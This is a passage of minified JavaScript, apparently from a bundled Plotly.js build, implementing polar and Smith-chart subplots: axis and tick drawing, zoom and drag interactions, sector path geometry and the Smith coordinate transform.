z(fe,X,W){this.isSmith=W||!1,this.id=X,this.gd=fe,this._hasClipOnAxisFalse=null,this.vangles=null,this.radialAxisAngle=null,this.traceHash={},this.layers={},this.clipPaths={},this.clipIds={},this.viewInitial={};var V=fe._fullLayout,Y="clip"+V._uid+X;this.clipIds.forTraces=Y+"-for-traces",this.clipPaths.forTraces=V._clips.append("clipPath").attr("id",this.clipIds.forTraces),this.clipPaths.forTraces.append("path"),this.framework=V["_"+(W?"smith":"polar")+"layer"].append("g").attr("class",X),this.getHole=function(Q){return this.isSmith?0:Q.hole},this.getSector=function(Q){return this.isSmith?[0,360]:Q.sector},this.getRadial=function(Q){return this.isSmith?Q.realaxis:Q.radialaxis},this.getAngular=function(Q){return this.isSmith?Q.imaginaryaxis:Q.angularaxis},W||(this.radialTickLayout=null,this.angularTickLayout=null)}var N=z.prototype;te.exports=function(X,W,V){return new z(X,W,V)},N.plot=function(fe,X){for(var W=this,V=X[W.id],Y=!1,Q=0;Q<fe.length;Q++){var ie=fe[Q][0].trace;if(ie.cliponaxis===!1){Y=!0;break}}W._hasClipOnAxisFalse=Y,W.updateLayers(X,V),W.updateLayout(X,V),r.generalUpdatePerTraceModule(W.gd,W,fe,V),W.updateFx(X,V),W.isSmith&&(delete V.realaxis.range,delete V.imaginaryaxis.range)},N.updateLayers=function(fe,X){var W=this,V=W.isSmith,Y=W.layers,Q=W.getRadial(X),ie=W.getAngular(X),j=A.layerNames,K=j.indexOf("frontplot"),oe=j.slice(0,K),re=ie.layer==="below traces",le=Q.layer==="below traces";re&&oe.push("angular-line"),le&&oe.push("radial-line"),re&&oe.push("angular-axis"),le&&oe.push("radial-axis"),oe.push("frontplot"),re||oe.push("angular-line"),le||oe.push("radial-line"),re||oe.push("angular-axis"),le||oe.push("radial-axis");var pe=(V?"smith":"polar")+"sublayer",we=W.framework.selectAll("."+pe).data(oe,String);we.enter().append("g").attr("class",function(xe){return pe+" "+xe}).each(function(xe){var ke=Y[xe]=M.select(this);switch(xe){case"frontplot":V||ke.append("g").classed("barlayer",!0),ke.append("g").classed("scatterlayer",!0);break;case"backplot":ke.append("g").classed("maplayer",!0);break;case"plotbg":Y.bg=ke.append("path");break;case"radial-grid":ke.style("fill","none");break;case"angular-grid":ke.style("fill","none");break;case"radial-line":ke.append("line").style("fill","none");break;case"angular-line":ke.append("path").style("fill","none");break}}),we.order()},N.updateLayout=function(fe,X){var W=this,V=W.layers,Y=fe._size,Q=W.getRadial(X),ie=W.getAngular(X),j=X.domain.x,K=X.domain.y;W.xOffset=Y.l+Y.w*j[0],W.yOffset=Y.t+Y.h*(1-K[1]);var oe=W.xLength=Y.w*(j[1]-j[0]),re=W.yLength=Y.h*(K[1]-K[0]),le=W.getSector(X);W.sectorInRad=le.map(F);var pe=W.sectorBBox=J(le),we=pe[2]-pe[0],xe=pe[3]-pe[1],ke=re/oe,_e=Math.abs(xe/we),be,ge,Te,Fe,Oe;ke>_e?(be=oe,ge=oe*_e,Oe=(re-ge)/Y.h/2,Te=[j[0],j[1]],Fe=[K[0]+Oe,K[1]-Oe]):(be=re/_e,ge=re,Oe=(oe-be)/Y.w/2,Te=[j[0]+Oe,j[1]-Oe],Fe=[K[0],K[1]]),W.xLength2=be,W.yLength2=ge,W.xDomain2=Te,W.yDomain2=Fe;var Ce=W.xOffset2=Y.l+Y.w*Te[0],Be=W.yOffset2=Y.t+Y.h*(1-Fe[1]),$e=W.radius=be/we,Xe=W.innerRadius=W.getHole(X)*$e,Ze=W.cx=Ce-$e*pe[0],Ke=W.cy=Be+$e*pe[3],st=W.cxx=Ze-Ce,lt=W.cyy=Ke-Be,ut=Q.side,yt;ut==="counterclockwise"?(yt=ut,ut="top"):ut==="clockwise"&&(yt=ut,ut="bottom"),W.radialAxis=W.mockAxis(fe,X,Q,{_id:"x",side:ut,_trueSide:yt,domain:[Xe/Y.w,$e/Y.w]}),W.angularAxis=W.mockAxis(fe,X,ie,{side:"right",domain:[0,Math.PI],autorange:!1}),W.doAutoRange(fe,X),W.updateAngularAxis(fe,X),W.updateRadialAxis(fe,X),W.updateRadialAxisTitle(fe,X),W.xaxis=W.mockCartesianAxis(fe,X,{_id:"x",domain:Te}),W.yaxis=W.mockCartesianAxis(fe,X,{_id:"y",domain:Fe});var bt=W.pathSubplot();W.clipPaths.forTraces.select("path").attr("d",bt).attr("transform",d(st,lt)),V.frontplot.attr("transform",d(Ce,Be)).call(t.setClipUrl,W._hasClipOnAxisFalse?null:W.clipIds.forTraces,W.gd),V.bg.attr("d",bt).attr("transform",d(Ze,Ke)).call(g.fill,X.bgcolor)},N.mockAxis=function(fe,X,W,V){var Y=L.extendFlat({},W,V);return l(Y,X,fe),Y},N.mockCartesianAxis=function(fe,X,W){var V=this,Y=V.isSmith,Q=W._id,ie=L.extendFlat({type:"linear"},W);a(ie,fe);var j={x:[0,2],y:[1,3]};return ie.setRange=function(){var K=V.sectorBBox,oe=j[Q],re=V.radialAxis._rl,le=(re[1]-re[0])/(1-V.getHole(X));ie.range=[K[oe[0]]*le,K[oe[1]]*le]},ie.isPtWithinRange=Q==="x"&&!Y?function(K){return V.isPtInside(K)}:function(){return!0},ie.setRange(),ie.setScale(),ie},N.doAutoRange=function(fe,X){var W=this,V=W.gd,Y=W.radialAxis,Q=W.getRadial(X);u(V,Y);var ie=Y.range;Q.range=ie.slice(),Q._input.range=ie.slice(),Y._rl=[Y.r2l(ie[0],null,"gregorian"),Y.r2l(ie[1],null,"gregorian")]},N.updateRadialAxis=function(fe,X){var W=this,V=W.gd,Y=W.layers,Q=W.radius,ie=W.innerRadius,j=W.cx,K=W.cy,oe=W.getRadial(X),re=_(W.getSector(X)[0],360),le=W.radialAxis,pe=ie<Q,we=W.isSmith;we||(W.fillViewInitialKey("radialaxis.angle",oe.angle),W.fillViewInitialKey("radialaxis.range",le.range.slice()),le.setGeometry()),le.tickangle==="auto"&&re>90&&re<=270&&(le.tickangle=180);var xe=we?function($e){var Xe=k(W,C([$e.x,0]));return d(Xe[0]-j,Xe[1]-K)}:function($e){return d(le.l2p($e.x)+ie,0)},ke=we?function($e){return I(W,$e.x,-1/0,1/0)}:function($e){return W.pathArc(le.r2p($e.x)+ie)},_e=G(oe);if(W.radialTickLayout!==_e&&(Y["radial-axis"].selectAll(".xtick").remove(),W.radialTickLayout=_e),pe){le.setScale();var be=0,ge=we?(le.tickvals||[]).filter(function($e){return $e>=0}).map(function($e){return f.tickText(le,$e,!0,!1)}):f.calcTicks(le),Te=we?ge:f.clipEnds(le,ge),Fe=f.getTickSigns(le)[2];we&&((le.ticks==="top"&&le.side==="bottom"||le.ticks==="bottom"&&le.side==="top")&&(Fe=-Fe),le.ticks==="top"&&le.side==="top"&&(be=-le.ticklen),le.ticks==="bottom"&&le.side==="bottom"&&(be=le.ticklen)),f.drawTicks(V,le,{vals:ge,layer:Y["radial-axis"],path:f.makeTickPath(le,0,Fe),transFn:xe,crisp:!1}),f.drawGrid(V,le,{vals:Te,layer:Y["radial-grid"],path:ke,transFn:L.noop,crisp:!1}),f.drawLabels(V,le,{vals:ge,layer:Y["radial-axis"],transFn:xe,labelFns:f.makeLabelFns(le,be)})}var Oe=W.radialAxisAngle=W.vangles?O(q(F(oe.angle),W.vangles)):oe.angle,Ce=d(j,K),Be=Ce+S(-Oe);ne(Y["radial-axis"],pe&&(oe.showticklabels||oe.ticks),{transform:Be}),ne(Y["radial-grid"],pe&&oe.showgrid,{transform:we?"":Ce}),ne(Y["radial-line"].select("line"),pe&&oe.showline,{x1:we?-Q:ie,y1:0,x2:Q,y2:0,transform:Be}).attr("stroke-width",oe.linewidth).call(g.stroke,oe.linecolor)},N.updateRadialAxisTitle=function(fe,X,W){if(!this.isSmith){var V=this,Y=V.gd,Q=V.radius,ie=V.cx,j=V.cy,K=V.getRadial(X),oe=V.id+"title",re=0;if(K.title){var le=t.bBox(V.layers["radial-axis"].node()).height,pe=K.title.font.size,we=K.side;re=we==="top"?pe:we==="counterclockwise"?-(le+pe*.4):le+pe*.8}var xe=W!==void 0?W:V.radialAxisAngle,ke=F(xe),_e=Math.cos(ke),be=Math.sin(ke),ge=ie+Q/2*_e+re*be,Te=j-Q/2*be+re*_e;V.layers["radial-axis-title"]=b.draw(Y,oe,{propContainer:K,propName:V.id+".radialaxis.title",placeholder:B(Y,"Click to enter radial axis title"),attributes:{x:ge,y:Te,"text-anchor":"middle"},transform:{rotate:-xe}})}},N.updateAngularAxis=function(fe,X){var W=this,V=W.gd,Y=W.layers,Q=W.radius,ie=W.innerRadius,j=W.cx,K=W.cy,oe=W.getAngular(X),re=W.angularAxis,le=W.isSmith;le||(W.fillViewInitialKey("angularaxis.rotation",oe.rotation),re.setGeometry(),re.setScale());var pe=le?function(Xe){var Ze=k(W,C([0,Xe.x]));return Math.atan2(Ze[0]-j,Ze[1]-K)-Math.PI/2}:function(Xe){return re.t2g(Xe.x)};re.type==="linear"&&re.thetaunit==="radians"&&(re.tick0=O(re.tick0),re.dtick=O(re.dtick));var we=function(Xe){return d(j+Q*Math.cos(Xe),K-Q*Math.sin(Xe))},xe=le?function(Xe){var Ze=k(W,C([0,Xe.x]));return d(Ze[0],Ze[1])}:function(Xe){return we(pe(Xe))},ke=le?function(Xe){var Ze=k(W,C([0,Xe.x])),Ke=Math.atan2(Ze[0]-j,Ze[1]-K)-Math.PI/2;return d(Ze[0],Ze[1])+S(-O(Ke))}:function(Xe){var Ze=pe(Xe);return we(Ze)+S(-O(Ze))},_e=le?function(Xe){return x(W,Xe.x,0,1/0)}:function(Xe){var Ze=pe(Xe),Ke=Math.cos(Ze),st=Math.sin(Ze);return"M"+[j+ie*Ke,K-ie*st]+"L"+[j+Q*Ke,K-Q*st]},be=f.makeLabelFns(re,0),ge=be.labelStandoff,Te={};Te.xFn=function(Xe){var Ze=pe(Xe);return Math.cos(Ze)*ge},Te.yFn=function(Xe){var Ze=pe(Xe),Ke=Math.sin(Ze)>0?.2:1;return-Math.sin(Ze)*(ge+Xe.fontSize*Ke)+Math.abs(Math.cos(Ze))*(Xe.fontSize*p)},Te.anchorFn=function(Xe){var Ze=pe(Xe),Ke=Math.cos(Ze);return Math.abs(Ke)<.1?"middle":Ke>0?"start":"end"},Te.heightFn=function(Xe,Ze,Ke){var st=pe(Xe);return-.5*(1+Math.sin(st))*Ke};var Fe=G(oe);W.angularTickLayout!==Fe&&(Y["angular-axis"].selectAll("."+re._id+"tick").remove(),W.angularTickLayout=Fe);var Oe=le?[1/0].concat(re.tickvals||[]).map(function(Xe){return f.tickText(re,Xe,!0,!1)}):f.calcTicks(re);le&&(Oe[0].text="∞",Oe[0].fontSize*=1.75);var Ce;if(X.gridshape==="linear"?(Ce=Oe.map(pe),L.angleDelta(Ce[0],Ce[1])<0&&(Ce=Ce.slice().reverse())):Ce=null,W.vangles=Ce,re.type==="category"&&(Oe=Oe.filter(function(Xe){return L.isAngleInsideSector(pe(Xe),W.sectorInRad)})),re.visible){var Be=re.ticks==="inside"?-1:1,$e=(re.linewidth||1)/2;f.drawTicks(V,re,{vals:Oe,layer:Y["angular-axis"],path:"M"+Be*$e+",0h"+Be*re.ticklen,transFn:ke,crisp:!1}),f.drawGrid(V,re,{vals:Oe,layer:Y["angular-grid"],path:_e,transFn:L.noop,crisp:!1}),f.drawLabels(V,re,{vals:Oe,layer:Y["angular-axis"],repositionOnUpdate:!0,transFn:xe,labelFns:Te})}ne(Y["angular-line"].select("path"),oe.showline,{d:W.pathSubplot(),transform:d(j,K)}).attr("stroke-width",oe.linewidth).call(g.stroke,oe.linecolor)},N.updateFx=function(fe,X){if(!this.gd._context.staticPlot){var W=!this.isSmith;W&&(this.updateAngularDrag(fe),this.updateRadialDrag(fe,X,0),this.updateRadialDrag(fe,X,1)),this.updateHoverAndMainDrag(fe)}},N.updateHoverAndMainDrag=function(fe){var X=this,W=X.isSmith,V=X.gd,Y=X.layers,Q=fe._zoomlayer,ie=A.MINZOOM,j=A.OFFEDGE,K=X.radius,oe=X.innerRadius,re=X.cx,le=X.cy,pe=X.cxx,we=X.cyy,xe=X.sectorInRad,ke=X.vangles,_e=X.radialAxis,be=m.clampTiny,ge=m.findXYatLength,Te=m.findEnclosingVertexAngles,Fe=A.cornerHalfWidth,Oe=A.cornerLen/2,Ce,Be,$e=s.makeDragger(Y,"path","maindrag",fe.dragmode===!1?"none":"crosshair");M.select($e).attr("d",X.pathSubplot()).attr("transform",d(re,le)),$e.onmousemove=function(Tt){c.hover(V,Tt,X.id),V._fullLayout._lasthover=$e,V._fullLayout._hoversubplot=X.id},$e.onmouseout=function(Tt){V._dragging||y.unhover(V,Tt)};var Xe={element:$e,gd:V,subplot:X.id,plotinfo:{id:X.id,xaxis:X.xaxis,yaxis:X.yaxis},xaxes:[X.xaxis],yaxes:[X.yaxis]},Ze,Ke,st,lt,ut,yt,bt,Ot,Ge;function Le(Tt,Gt){return Math.sqrt(Tt*Tt+Gt*Gt)}function Pe(Tt,Gt){return Le(Tt-pe,Gt-we)}function De(Tt,Gt){return Math.atan2(we-Gt,Tt-pe)}function Ee(Tt,Gt){return[Tt*Math.cos(Gt),Tt*Math.sin(-Gt)]}function ye(Tt,Gt){if(Tt===0)return X.pathSector(2*Fe);var er=Oe/Tt,Pr=Gt-er,ct=Gt+er,Vt=Math.max(0,Math.min(Tt,K)),Ut=Vt-Fe,dr=Vt+Fe;return"M"+Ee(Ut,Pr)+"A"+[Ut,Ut]+" 0,0,0 "+Ee(Ut,ct)+"L"+Ee(dr,ct)+"A"+[dr,dr]+" 0,0,1 "+Ee(dr,Pr)+"Z"}function ae(Tt,Gt,er){if(Tt===0)return X.pathSector(2*Fe);var Pr=Ee(Tt,Gt),ct=Ee(Tt,er),Vt=be((Pr[0]+ct[0])/2),Ut=be((Pr[1]+ct[1])/2),dr,sr;if(Vt&&Ut){var nt=Ut/Vt,rt=-1/nt,vt=ge(Fe,nt,Vt,Ut);dr=ge(Oe,rt,vt[0][0],vt[0][1]),sr=ge(Oe,rt,vt[1][0],vt[1][1])}else{var gt,wt;Ut?(gt=Oe,wt=Fe):(gt=Fe,wt=Oe),dr=[[Vt-gt,Ut-wt],[Vt+gt,Ut-wt]],sr=[[Vt-gt,Ut+wt],[Vt+gt,Ut+wt]]}return"M"+dr.join("L")+"L"+sr.reverse().join("L")+"Z"}function de(){st=null,lt=null,ut=X.pathSubplot(),yt=!1;var Tt=V._fullLayout[X.id];bt=P(Tt.bgcolor).getLuminance(),Ot=s.makeZoombox(Q,bt,re,le,ut),Ot.attr("fill-rule","evenodd"),Ge=s.makeCorners(Q,re,le),v(V)}function Me(Tt,Gt){return Gt=Math.max(Math.min(Gt,K),oe),Tt<j?Tt=0:K-Tt<j?Tt=K:Gt<j?Gt=0:K-Gt<j&&(Gt=K),Math.abs(Gt-Tt)>ie?(Tt<Gt?(st=Tt,lt=Gt):(st=Gt,lt=Tt),!0):(st=null,lt=null,!1)}function Ie(Tt,Gt){Tt=Tt||ut,Gt=Gt||"M0,0Z",Ot.attr("d",Tt),Ge.attr("d",Gt),s.transitionZoombox(Ot,Ge,yt,bt),yt=!0;var er={};_t(er),V.emit("plotly_relayouting",er)}function Qe(Tt,Gt){Tt=Tt*Ce,Gt=Gt*Be;var er=Ze+Tt,Pr=Ke+Gt,ct=Pe(Ze,Ke),Vt=Math.min(Pe(er,Pr),K),Ut=De(Ze,Ke),dr,sr;Me(ct,Vt)&&(dr=ut+X.pathSector(lt),st&&(dr+=X.pathSector(st)),sr=ye(st,Ut)+ye(lt,Ut)),Ie(dr,sr)}function et(Tt,Gt,er,Pr){var ct=m.findIntersectionXY(er,Pr,er,[Tt-pe,we-Gt]);return Le(ct[0],ct[1])}function pt(Tt,Gt){var er=Ze+Tt,Pr=Ke+Gt,ct=De(Ze,Ke),Vt=De(er,Pr),Ut=Te(ct,ke),dr=Te(Vt,ke),sr=et(Ze,Ke,Ut[0],Ut[1]),nt=Math.min(et(er,Pr,dr[0],dr[1]),K),rt,vt;Me(sr,nt)&&(rt=ut+X.pathSector(lt),st&&(rt+=X.pathSector(st)),vt=[ae(st,Ut[0],Ut[1]),ae(lt,Ut[0],Ut[1])].join(" ")),Ie(rt,vt)}function St(){if(s.removeZoombox(V),!(st===null||lt===null)){var Tt={};_t(Tt),s.showDoubleClickNotifier(V),o.call("_guiRelayout",V,Tt)}}function _t(Tt){var Gt=_e._rl,er=(Gt[1]-Gt[0])/(1-oe/K)/K,Pr=[Gt[0]+(st-oe)*er,Gt[0]+(lt-oe)*er];Tt[X.id+".radialaxis.range"]=Pr}function Ft(Tt,Gt){var er=V._fullLayout.clickmode;if(s.removeZoombox(V),Tt===2){var Pr={};for(var ct in X.viewInitial)Pr[X.id+"."+ct]=X.viewInitial[ct];V.emit("plotly_doubleclick",null),o.call("_guiRelayout",V,Pr)}er.indexOf("select")>-1&&Tt===1&&i(Gt,V,[X.xaxis],[X.yaxis],X.id,Xe),er.indexOf("event")>-1&&c.click(V,Gt,X.id)}Xe.prepFn=function(Tt,Gt,er){var Pr=V._fullLayout.dragmode,ct=$e.getBoundingClientRect();V._fullLayout._calcInverseTransform(V);var Vt=V._fullLayout._invTransform;Ce=V._fullLayout._invScaleX,Be=V._fullLayout._invScaleY;var Ut=L.apply3DTransform(Vt)(Gt-ct.left,er-ct.top);if(Ze=Ut[0],Ke=Ut[1],ke){var dr=m.findPolygonOffset(K,xe[0],xe[1],ke);Ze+=pe+dr[0],Ke+=we+dr[1]}switch(Pr){case"zoom":Xe.clickFn=Ft,W||(ke?Xe.moveFn=pt:Xe.moveFn=Qe,Xe.doneFn=St,de());break;case"select":case"lasso":h(Tt,Gt,er,Xe,Pr);break}},y.init(Xe)},N.updateRadialDrag=function(fe,X,W){var V=this,Y=V.gd,Q=V.layers,ie=V.radius,j=V.innerRadius,K=V.cx,oe=V.cy,re=V.radialAxis,le=A.radialDragBoxSize,pe=le/2;if(!re.visible)return;var we=F(V.radialAxisAngle),xe=re._rl,ke=xe[0],_e=xe[1],be=xe[W],ge=.75*(xe[1]-xe[0])/(1-V.getHole(X))/ie,Te,Fe,Oe;W?(Te=K+(ie+pe)*Math.cos(we),Fe=oe-(ie+pe)*Math.sin(we),Oe="radialdrag"):(Te=K+(j-pe)*Math.cos(we),Fe=oe-(j-pe)*Math.sin(we),Oe="radialdrag-inner");var Ce=s.makeRectDragger(Q,Oe,"crosshair",-pe,-pe,le,le),Be={element:Ce,gd:Y};fe.dragmode===!1&&(Be.dragmode=!1),ne(M.select(Ce),re.visible&&j<ie,{transform:d(Te,Fe)});var $e,Xe,Ze;function Ke(bt,Ot){if($e)$e(bt,Ot);else{var Ge=[bt,-Ot],Le=[Math.cos(we),Math.sin(we)],Pe=Math.abs(L.dot(Ge,Le)/Math.sqrt(L.dot(Ge,Ge)));isNaN(Pe)||($e=Pe<.5?ut:yt)}var De={};st(De),Y.emit("plotly_relayouting",De)}function st(bt){Xe!==null?bt[V.id+".radialaxis.angle"]=Xe:Ze!==null&&(bt[V.id+".radialaxis.range["+W+"]"]=Ze)}function lt(){Xe!==null?o.call("_guiRelayout",Y,V.id+".radialaxis.angle",Xe):Ze!==null&&o.call("_guiRelayout",Y,V.id+".radialaxis.range["+W+"]",Ze)}function ut(bt,Ot){if(W!==0){var Ge=Te+bt,Le=Fe+Ot;Xe=Math.atan2(oe-Le,Ge-K),V.vangles&&(Xe=q(Xe,V.vangles)),Xe=O(Xe);var Pe=d(K,oe)+S(-Xe);Q["radial-axis"].attr("transform",Pe),Q["radial-line"].select("line").attr("transform",Pe);var De=V.gd._fullLayout,Ee=De[V.id];V.updateRadialAxisTitle(De,Ee,Xe)}}function yt(bt,Ot){var Ge=L.dot([bt,-Ot],[Math.cos(we),Math.sin(we)]);if(Ze=be-ge*Ge,ge>0!=(W?Ze>ke:Ze<_e)){Ze=null;return}var Le=Y._fullLayout,Pe=Le[V.id];re.range[W]=Ze,re._rl[W]=Ze,V.updateRadialAxis(Le,Pe),V.xaxis.setRange(),V.xaxis.setScale(),V.yaxis.setRange(),V.yaxis.setScale();var De=!1;for(var Ee in V.traceHash){var ye=V.traceHash[Ee],ae=L.filterVisible(ye),de=ye[0][0].trace._module;de.plot(Y,V,ae,Pe),o.traceIs(Ee,"gl")&&ae.length&&(De=!0)}De&&(w(Y),E(Y))}Be.prepFn=function(){$e=null,Xe=null,Ze=null,Be.moveFn=Ke,Be.doneFn=lt,v(Y)},Be.clampFn=function(bt,Ot){return Math.sqrt(bt*bt+Ot*Ot)<A.MINDRAG&&(bt=0,Ot=0),[bt,Ot]},y.init(Be)},N.updateAngularDrag=function(fe){var X=this,W=X.gd,V=X.layers,Y=X.radius,Q=X.angularAxis,ie=X.cx,j=X.cy,K=X.cxx,oe=X.cyy,re=A.angularDragBoxSize,le=s.makeDragger(V,"path","angulardrag",fe.dragmode===!1?"none":"move"),pe={element:le,gd:W};fe.dragmode===!1?pe.dragmode=!1:M.select(le).attr("d",X.pathAnnulus(Y,Y+re)).attr("transform",d(ie,j)).call(T,"move");function we(Ze,Ke){return Math.atan2(oe+re-Ke,Ze-K-re)}var xe=V.frontplot.select(".scatterlayer").selectAll(".trace"),ke=xe.selectAll(".point"),_e=xe.selectAll(".textpoint"),be,ge,Te,Fe,Oe,Ce;function Be(Ze,Ke){var st=X.gd._fullLayout,lt=st[X.id],ut=be+Ze*fe._invScaleX,yt=ge+Ke*fe._invScaleY,bt=we(ut,yt),Ot=O(bt-Ce);if(Fe=Te+Ot,V.frontplot.attr("transform",d(X.xOffset2,X.yOffset2)+S([-Ot,K,oe])),X.vangles){Oe=X.radialAxisAngle+Ot;var Ge=d(ie,j)+S(-Ot),Le=d(ie,j)+S(-Oe);V.bg.attr("transform",Ge),V["radial-grid"].attr("transform",Ge),V["radial-axis"].attr("transform",Le),V["radial-line"].select("line").attr("transform",Le),X.updateRadialAxisTitle(st,lt,Oe)}else X.clipPaths.forTraces.select("path").attr("transform",d(K,oe)+S(Ot));ke.each(function(){var Me=M.select(this),Ie=t.getTranslate(Me);Me.attr("transform",d(Ie.x,Ie.y)+S([Ot]))}),_e.each(function(){var Me=M.select(this),Ie=Me.select("text"),Qe=t.getTranslate(Me);Me.attr("transform",S([Ot,Ie.attr("x"),Ie.attr("y")])+d(Qe.x,Qe.y))}),Q.rotation=L.modHalf(Fe,360),X.updateAngularAxis(st,lt),X._hasClipOnAxisFalse&&!L.isFullCircle(X.sectorInRad)&&xe.call(t.hideOutsideRangePoints,X);var Pe=!1;for(var De in X.traceHash)if(o.traceIs(De,"gl")){var Ee=X.traceHash[De],ye=L.filterVisible(Ee),ae=Ee[0][0].trace._module;ae.plot(W,X,ye,lt),ye.length&&(Pe=!0)}Pe&&(w(W),E(W));var de={};$e(de),W.emit("plotly_relayouting",de)}function $e(Ze){Ze[X.id+".angularaxis.rotation"]=Fe,X.vangles&&(Ze[X.id+".radialaxis.angle"]=Oe)}function Xe(){_e.select("text").attr("transform",null);var Ze={};$e(Ze),o.call("_guiRelayout",W,Ze)}pe.prepFn=function(Ze,Ke,st){var lt=fe[X.id];Te=lt.angularaxis.rotation;var ut=le.getBoundingClientRect();be=Ke-ut.left,ge=st-ut.top,W._fullLayout._calcInverseTransform(W);var yt=L.apply3DTransform(fe._invTransform)(be,ge);be=yt[0],ge=yt[1],Ce=we(be,ge),pe.moveFn=Be,pe.doneFn=Xe,v(W)},X.vangles&&!L.isFullCircle(X.sectorInRad)&&(pe.prepFn=L.noop,T(M.select(le),null)),y.init(pe)},N.isPtInside=function(fe){if(this.isSmith)return!0;var X=this.sectorInRad,W=this.vangles,V=this.angularAxis.c2g(fe.theta),Y=this.radialAxis,Q=Y.c2l(fe.r),ie=Y._rl,j=W?m.isPtInsidePolygon:L.isPtInsideSector;return j(Q,V,ie,X,W)},N.pathArc=function(fe){var X=this.sectorInRad,W=this.vangles,V=W?m.pathPolygon:L.pathArc;return V(fe,X[0],X[1],W)},N.pathSector=function(fe){var X=this.sectorInRad,W=this.vangles,V=W?m.pathPolygon:L.pathSector;return V(fe,X[0],X[1],W)},N.pathAnnulus=function(fe,X){var W=this.sectorInRad,V=this.vangles,Y=V?m.pathPolygonAnnulus:L.pathAnnulus;return Y(fe,X,W[0],W[1],V)},N.pathSubplot=function(){var fe=this.innerRadius,X=this.radius;return fe?this.pathAnnulus(fe,X):this.pathSector(X)},N.fillViewInitialKey=function(fe,X){fe in this.viewInitial||(this.viewInitial[fe]=X)};function G(fe){var X=fe.ticks+String(fe.ticklen)+String(fe.showticklabels);return"side"in fe&&(X+=fe.side),X}function J(fe){var X=fe[0],W=fe[1],V=W-X,Y=_(X,360),Q=Y+V,ie=Math.cos(F(Y)),j=Math.sin(F(Y)),K=Math.cos(F(Q)),oe=Math.sin(F(Q)),re,le,pe,we;return Y<=90&&Q>=90||Y>90&&Q>=450?we=1:j<=0&&oe<=0?we=0:we=Math.max(j,oe),Y<=180&&Q>=180||Y>180&&Q>=540?re=-1:ie>=0&&K>=0?re=0:re=Math.min(ie,K),Y<=270&&Q>=270||Y>270&&Q>=630?le=-1:j>=0&&oe>=0?le=0:le=Math.min(j,oe),Q>=360?pe=1:ie<=0&&K<=0?pe=0:pe=Math.max(ie,K),[re,le,pe,we]}function q(fe,X){var W=function(Y){return L.angleDist(fe,Y)},V=L.findIndexOfMin(X,W);return X[V]}function ne(fe,X,W){return X?(fe.attr("display",null),fe.attr(W)):fe&&fe.attr("display","none"),fe}},12101:function(te,Z,e){var M=e(71828),P=e(21994),o=M.deg2rad,L=M.rad2deg;te.exports=function(f,a,l){switch(P(f,l),f._id){case"x":case"radialaxis":S(f,a);break;case"angularaxis":t(f,a);break}};function S(r,f){var a=f._subplot;r.setGeometry=function(){var l=r._rl[0],u=r._rl[1],s=a.innerRadius,y=(a.radius-s)/(u-l),c=s/y,b=l>u?function(h){return h<=0}:function(h){return h>=0};r.c2g=function(h){var i=r.c2l(h)-l;return(b(i)?i:0)+c},r.g2c=function(h){return r.l2c(h+l-c)},r.g2p=function(h){return h*y},r.c2p=function(h){return r.g2p(r.c2g(h))}}}function d(r,f){return f==="degrees"?o(r):r}function g(r,f){return f==="degrees"?L(r):r}function t(r,f){var a=r.type;if(a==="linear"){var l=r.d2c,u=r.c2d;r.d2c=function(s,y){return d(l(s),y)},r.c2d=function(s,y){return u(g(s,y))}}r.makeCalcdata=function(s,y){var c=s[y],b=s._length,h,i,v=function(A){return r.d2c(A,s.thetaunit)};if(c){if(M.isTypedArray(c)&&a==="linear"){if(b===c.length)return c;if(c.subarray)return c.subarray(0,b)}for(h=new Array(b),i=0;i<b;i++)h[i]=v(c[i])}else{var T=y+"0",w="d"+y,E=T in s?v(s[T]):0,p=s[w]?v(s[w]):(r.period||2*Math.PI)/b;for(h=new Array(b),i=0;i<b;i++)h[i]=E+i*p}return h},r.setGeometry=function(){var s=f.sector,y=s.map(o),c={clockwise:-1,counterclockwise:1}[r.direction],b=o(r.rotation),h=function(m){return c*m+b},i=function(m){return(m-b)/c},v,T,w,E;switch(a){case"linear":T=v=M.identity,E=o,w=L,r.range=M.isFullCircle(y)?[s[0],s[0]+360]:y.map(i).map(L);break;case"category":var p=r._categories.length,A=r.period?Math.max(r.period,p):p;A===0&&(A=1),T=E=function(m){return m*2*Math.PI/A},v=w=function(m){return m*A/Math.PI/2},r.range=[0,A];break}r.c2g=function(m){return h(T(m))},r.g2c=function(m){return v(i(m))},r.t2g=function(m){return h(E(m))},r.g2t=function(m){return w(i(m))}}}},39779:function(te){te.exports={attr:"subplot",name:"smith",axisNames:["realaxis","imaginaryaxis"],axisName2dataArray:{imaginaryaxis:"imag",realaxis:"real"}}},23893:function(te){function Z(S){return S<0?-1:S>0?1:0}function e(S){var d=S[0],g=S[1];if(!isFinite(d)||!isFinite(g))return[1,0];var t=(d+1)*(d+1)+g*g;return[(d*d+g*g-1)/t,2*g/t]}function M(S,d){var g=d[0],t=d[1];return[g*S.radius+S.cx,-t*S.radius+S.cy]}function P(S,d){return d*S.radius}function o(S,d,g,t){var r=M(S,e([g,d])),f=r[0],a=r[1],l=M(S,e([t,d])),u=l[0],s=l[1];if(d===0)return["M"+f+","+a,"L"+u+","+s].join(" ");var y=P(S,1/Math.abs(d));return["M"+f+","+a,"A"+y+","+y+" 0 0,"+(d<0?1:0)+" "+u+","+s].join(" ")}function L(S,d,g,t){var r=P(S,1/(d+1)),f=M(S,e([d,g])),a=f[0],l=f[1],u=M(S,e([d,t])),s=u[0],y=u[1];if(Z(g)!==Z(t)){var c=M(S,e([d,0])),b=c[0],h=c[1];return["M"+a+","+l,"A"+r+","+r+" 0 0,"+(0<g?0:1)+" "+b+","+h,"A"+r+","+r+" 0 0,"+(t<0?0:1)+s+","+y].join(" ")}return["M"+a+","+l,"A"+r+","+r+" 0 0,"+(t<g?0:1)+" "+s+","+y].join(" ")}te.exports={smith:e,reactanceArc:o,resistanceArc:L,smithTransform:M}},7504:function(te,Z,e){var M=e(27659).AU,P=e(71828).counterRegex,o=e(77997),L=e(39779),S=L.attr,d=L.name,g=P(d),t={};t[S]={valType:"subplotid",dflt:d,editType:"calc"};function r(a){for(var l=a._fullLayout,u=a.calcdata,s=l._subplots[d],y=0;y<s.length;y++){var c=s[y],b=M(u,d,c),h=l[c]._subplot;h||(h=o(a,c,!0),l[c]._subplot=h),h.plot(b,l,a._promises)}}function f(a,l,u,s){for(var y=s._subplots[d]||[],c=0;c<y.length;c++){var b=y[c],h=s[b]._subplot;if(!l[b]&&h){h.framework.remove();for(var i in 